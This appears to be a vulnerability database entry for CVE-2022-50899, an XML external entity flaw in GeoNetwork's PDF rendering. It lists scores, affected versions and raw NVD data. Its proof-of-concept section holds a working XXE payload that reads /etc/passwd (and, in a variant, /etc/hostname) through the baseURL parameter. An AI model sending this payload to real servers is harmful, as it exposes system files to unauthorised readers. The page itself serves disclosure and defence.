Security Vulnerability Report
中文
CVE-2022-50899 CVSS 6.5 MEDIUM

CVE-2022-50899

Published: 2026-01-13 23:15:52
Last Modified: 2026-02-27 19:48:20

Description

Geonetwork 3.10 through 4.2.0 contains an XML external entity vulnerability in PDF rendering that allows attackers to retrieve arbitrary files from the server. Attackers can exploit the insecure XML parser by crafting a malicious XML document with external entity references to read system files through the baseURL parameter in PDF creation requests.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:osgeo:geonetwork:*:*:*:*:*:*:*:* - VULNERABLE
GeoNetwork 3.10
GeoNetwork 3.10.1
GeoNetwork 3.10.2
GeoNetwork 3.10.3
GeoNetwork 3.10.4
GeoNetwork 3.10.5
GeoNetwork 3.10.6
GeoNetwork 3.10.7
GeoNetwork 3.10.8
GeoNetwork 3.10.9
GeoNetwork 3.10.10
GeoNetwork 3.12.0
GeoNetwork 3.12.1
GeoNetwork 3.12.2
GeoNetwork 4.0.0
GeoNetwork 4.0.1
GeoNetwork 4.0.2
GeoNetwork 4.0.3
GeoNetwork 4.0.4
GeoNetwork 4.0.5
GeoNetwork 4.0.6
GeoNetwork 4.0.7
GeoNetwork 4.0.8
GeoNetwork 4.0.9
GeoNetwork 4.0.10
GeoNetwork 4.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE pdfxml [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <pdf> <metadata> <title>Document with XXE</title> <baseURL>&xxe;</baseURL> </metadata> <content> <text>Test content</text> </content> </pdf> <!-- Alternative XXE Payload for reading /etc/hostname --> <!-- <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]> <pdf><baseURL>&xxe;</baseURL></pdf> -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50899", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:52.007", "lastModified": "2026-02-27T19:48:19.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Geonetwork 3.10 through 4.2.0 contains an XML external entity vulnerability in PDF rendering that allows attackers to retrieve arbitrary files from the server. Attackers can exploit the insecure XML parser by crafting a malicious XML document with external entity references to read system files through the baseURL parameter in PDF creation requests."}, {"lang": "es", "value": "Geonetwork 3.10 hasta 4.2.0 contiene una vulnerabilidad de entidad externa XML en la renderización de PDF que permite a los atacantes recuperar archivos arbitrarios del servidor. Los atacantes pueden explotar el analizador XML inseguro creando un documento XML malicioso con referencias a entidades externas para leer archivos del sistema a través del parámetro baseURL en las solicitudes de creación de PDF."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-611"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:osgeo:geonetwork:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.10.0", "versionEndIncluding": "4.2.0", "matchCriteriaId": "6C27C8DC-5803-42B5-8CA0-395CA377CB52"}]}]}], "references": [{"url": "https://geonetwork-opensource.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/50982", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/geonetwork-xml-external-entity-xxe", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}